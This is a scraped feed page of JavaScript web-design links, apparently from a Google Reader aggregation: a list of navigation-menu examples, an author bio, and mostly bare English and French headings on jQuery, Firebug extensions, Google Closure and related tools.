17. UvumiTools Dropdown Menu

Another JavaScript menu based on MooTools with lots of features.

18. jQuery UI Tabs

Easily separate content using this tab example.

View Demo Page

19. Proto.Menu: Right Click Menu

A customizable right-click menu written on top of the Prototype framework.

20. Accessible Expanding and Collapsing menu

This menu example allows you have two levels of navigation. When you click on main category the subcategory expands.

View Demo Page

What are you using?

We’d like to know if you have experience with any of these techniques and examples. Have a live web page? Share it with us in the comments.

About the Author

Kawsar Ali is a web designer, graphic designer, and wannabe photograper based in NY, U.S. He’s also the founder of Desizntech, a site to find tips about web design, Mac, PC and more. If you’d like to connect with him, you can follow him on Twitter or at his Personal Website.

"javascript" via neolao in Google Reader

Waooooooow, Ample SDK

Un keylogger en Javascript

Un keylogger en Javascript

Dissimulation du keylogger

Afficher un élément HTML selon la position du scroll de la page avec jQuery

Related Posts:

On element.dataset And data-* Attribute

What Am I Talking About

Why We Are Doing Wrong

Data Used Via Selectors

The Namespace War Has Started Already

Dozens Of Different Ways

Why We Don't Need data-*

Map The DOM If Necessary

what’s new in Firebug 1.5?

Google Closure : premiers retours d'expérience

goog.require

Et le meilleur moteur javascript est....

Optimiser les JavaScripts avec Google Closure Tools et Closure Compiler

Closure Compiler

Closure Library

Closure Templates

Astuce JavaScript: afficher/masquer des colonnes d'un tableau HTML.

Google met SVG dans Internet Explorer

Ext.EventObject.getRelatedTarget

De Sandy3D au Javascript sous Chrome… à FlaHx3D

10 Useful Firefox Extensions to Supercharge Firebug

1. Pixel Perfect

2. Page Speed

3. CodeBurner

4. FireRainbow

5. Inline Code Finder

6. Firecookie

7. FirebugCodeCoverage

8. SenSEO

9. Yahoo! YSlow

10. Firefinder

Related content

jQueryList.com, la ressource ultime de plugins jQuery sur une seule page

Related Posts:

Générer des PDF avec Javascript avec jsPDF

Related Posts:

Le multi-lignes en Javascript

Related Posts:

Un lecteur MP3 en Javascript avec jQuery avec le plugin jPlayer

Related Posts:

La cheat Sheet de jQuery 1.3.2

Related Posts:

Astuce JavaScript: désactiver l'historique de saisie d'un (ou plusieurs) champ(s) de texte.

20 Excellent JavaScript Navigation Techniques and Examples

1. MenuMatic

2. Animated Menu using jQuery

3. Garagedoor Effect using jQuery

4. JGlide Menu

5. Vertical Sliding jQuery Menu

6. Perspective Tabs

7. Vertical Digg-like Menu

8. LavaLamp

9. Fisheye Menu

10. Simple JavaScript Accordions

11. Sliding JavaScript Menu Highlight

12. Fading Menu - Replacing Content

13. Simple Multi-level Drop-Down Menu

14. Using jQuery for Background Image Animations

15. Mootools Redux

16. HoverAccordion/Sidebar Menu

17. UvumiTools Dropdown Menu

18. jQuery UI Tabs

19. Proto.Menu: Right Click Menu

20. Accessible Expanding and Collapsing menu

What are you using?

Related content

About the Author